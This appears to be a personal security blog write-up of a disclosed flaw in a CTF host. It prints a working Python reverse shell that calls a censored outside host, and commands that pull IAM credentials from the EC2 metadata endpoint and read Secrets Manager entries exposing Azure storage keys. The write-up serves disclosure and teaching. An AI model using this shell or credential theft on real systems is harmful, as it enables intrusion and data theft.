Aegizz | Lloyd Draysey

This is a personal blog to record my Cybersecurity and Programming experiences.

View on GitHub

Amazon AWS EC2 to Azure Blob Storage

Hi all, its been a while. This is a walk through of a security issue I found in a real environment on a CTF challenge environment I was exploring. This issue has been reported and fixes by the company hosting it, who’ll stay anonymous. Long story short, AWS Keys -> Azure Blob Storage.

This competition, was designed for us to upload a python script to a host, which then attacks another vulnerable box with our script and attempts to steal data within a time limit.

My first step, as always was to pop a shell on the system I was testing from.

#!/usr/bin/env python3

import socket
import subprocess
import os
import sys
import time
import threading
import signal

def connect_back():
    # Target IP and port for reverse connection
    TARGET_IP = "<censored>"
    TARGET_PORT = <censored>
    
    # Make this process independent from parent
    try:
        # Ignore common termination signals
        signal.signal(signal.SIGTERM, signal.SIG_IGN)
        signal.signal(signal.SIGINT, signal.SIG_IGN)
        if hasattr(signal, 'SIGHUP'):
            signal.signal(signal.SIGHUP, signal.SIG_IGN)
    except:
        pass
    
    # Retry connection loop for persistence
    retry_count = 0
    max_retries = 100
    
    while retry_count < max_retries:
        try:
            # Create socket connection
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((TARGET_IP, TARGET_PORT))
            
            # Send initial connection message with cross-platform hostname
            try:
                hostname = socket.gethostname()
            except:
                hostname = "unknown"
            s.send(b"[+] Reverse shell connected from " + hostname.encode() + b" (attempt " + str(retry_count + 1).encode() + b")\n")
            
            # Reset retry count on successful connection
            retry_count = 0
            
            while True:
                # Receive command from server
                command = s.recv(1024).decode().strip()
                
                if command.lower() == 'exit':
                    return  # Only exit on explicit command
                elif command.lower() == 'quit':
                    return  # Only exit on explicit command
                elif command == '':
                    continue
                
                try:
                    # Execute command and capture output
                    if command.startswith('cd '):
                        # Handle directory changes
                        path = command[3:].strip()
                        os.chdir(path)
                        output = f"Changed directory to {os.getcwd()}\n"
                    else:
                        # Execute other commands
                        result = subprocess.run(command, shell=True, capture_output=True, text=True, timeout=30)
                        output = result.stdout + result.stderr
                        
                    if not output:
                        output = "Command executed successfully (no output)\n"
                        
                except subprocess.TimeoutExpired:
                    output = "Command timed out\n"
                except Exception as e:
                    output = f"Error executing command: {str(e)}\n"
                
                # Send output back to server
                try:
                    s.send(output.encode())
                except:
                    break  # Connection lost, retry
                    
        except Exception as e:
            # Connection failed, increment retry and wait before retrying
            retry_count += 1
            if retry_count < max_retries:
                # Exponential backoff with some randomization
                wait_time = min(30, 2 ** min(retry_count, 5)) + (retry_count % 3)
                time.sleep(wait_time)
        finally:
            try:
                s.close()
            except:
                pass


And lets listen…

┌──(kali㉿kali)-[~]
└─$ nc -lvnp <port>
listening on [any] <port> ...
connect to [<local_ip>] from (UNKNOWN) [<EC2 IP>] 49743
[+] Reverse shell connected from EC2AMAZ-<HOSTNAME> (attempt 1)

Alright lets go, pretty easy. Lets see what permissions our instance has.

Grab credentials on the box using Amazon API.

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
<censored-account>
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<censored-account> 
{ "Code" : "Success", "LastUpdated" : "<Censored Date>", "Type" : "AWS-HMAC", "AccessKeyId" : "<KeyID>", "SecretAccessKey" : "<AccessKey", "Token" : "<TokenID>", "Expiration" : "<Censored Date>" }

Now, we can use the AWS CLI locally, to continue testing our privileges.

Set AWS Tokens using AWS CLI

export AWS_ACCESS_KEY_ID="NEW_ACCESS_KEY"
export AWS_SECRET_ACCESS_KEY="NEW_SECRET_KEY"
export AWS_SESSION_TOKEN="NEW_SESSION_TOKEN"

Check on my machine that credentials worked.

aws sts get-caller-identity 
{ "UserId": "<censored-id>:<censored-instance>", "Account": "<censored-account>", "Arn": "arn:aws:sts::<account-id>:assumed-role/<censored-account>/<censored-instance" }

Now at this point, I tried some IAM stuff, looking for machines I had access to with SSM, but this ultimately failed. I wanted shell on the target box, that was my golden goose at this point. After a bit of researching and try different commands I stumbled on something interesting.

AWS Secrets Manager.

aws secretsmanager list-secrets
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-2:<censored>:secret:<Censored>-<Censored>",
            "Name": "<Censored>-credentials",
            "LastChangedDate": "2024-07-26T14:54:43.432000+09:30",
            "LastAccessedDate": "2025-08-28T09:30:00+09:30",
            "Tags": [],
            "SecretVersionsToStages": {
                "<censored>": [
                    "AWSPREVIOUS"
                ],
                "<censored>": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2024-07-24T16:57:07.179000+09:30"
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-2:<censored>:secret:<Censored>-Keys-<Censored>",
            "Name": "<Censored>-Keys",
            "Description": "EC2 secrets for <Censored> <censored>",
            "LastChangedDate": "2025-05-29T14:46:07.967000+09:30",
            "LastAccessedDate": "2025-08-28T09:30:00+09:30",
            "Tags": [],
            "SecretVersionsToStages": {
                "<censored>": [
                    "AWSPREVIOUS"
                ],
                "<censored>": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2025-05-29T13:18:20.031000+09:30"
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-2:<censored>:secret:<censored>",
            "Name": "<Censored>-keys",
            "Description": "Keys used for the Cyber Security competition in <Censored>.",
            "LastChangedDate": "2025-08-19T09:14:48.723000+09:30",
            "LastAccessedDate": "2025-08-28T09:30:00+09:30",
            "Tags": [],
            "SecretVersionsToStages": {
                "<censored>": [
                    "AWSCURRENT"
                ],
                "<censored>": [
                    "AWSPREVIOUS"
                ]
            },
            "CreatedDate": "2025-06-24T20:19:44.494000+09:30"
        }
    ]
}

Uhhh, what the hell? Why is there Keys used for the competition here. That doesn’t make any sense. I have been going about this the wrong way?

Let me check whats in these secrets.

lloyd@lloydlaptop:~$ aws secretsmanager get-secret-value --secret-id <censored>
{
    "ARN": "arn:aws:secretsmanager:us-east-2:<censored>:secret:<censored>-Keys-<censored>",
    "Name": "<censored>-Keys",
    "VersionId": "<censored>",
    "SecretString": "{\"Microsoft.ServiceBus.ConnectionString\":\"Endpoint=sb://<censored>.servicebus.windows.net/;SharedAccessKeyName=RootManageSharedAccessKey;SharedAccessKey=<censored>\",\"<censored>StorageAccountConnectionString\":\"DefaultEndpointsProtocol=https;AccountName=<censored>;AccountKey=<censored>;EndpointSuffix=core.windows.net\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2025-05-29T14:46:07.962000+09:30"
}

lloyd@lloydlaptop:~$ aws secretsmanager get-secret-value --secret-id <censored>
{
    "ARN": "arn:aws:secretsmanager:us-east-2:<censored>:secret:<censored>-keys",
    "Name": "<censored>-keys",
    "VersionId": "<censored>",
    "SecretString": "{\"subnet\":\"<censored-subnet>\",\"security-group\":\"sg-<censored-group>\",\"private-key-pair-name\":\"<censored>-key\",\"aws-access-key\":\"<censored>\",\"ami-id\":\"ami-<censored>\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2025-08-19T09:14:48.718000+09:30"
}

Oh shit. These are Azure Blob Storage keys for the competition site. This is not what I wanted.

This had everything, user submissions, test data, database backups with service account hashes, Azure Key Vaults. This is not what I was intending to do.

One responsible disclosure later, and it appears this method has been patched. This is a great example of scoping is really important when hosting competition and an even better example of why you should get pentested more often.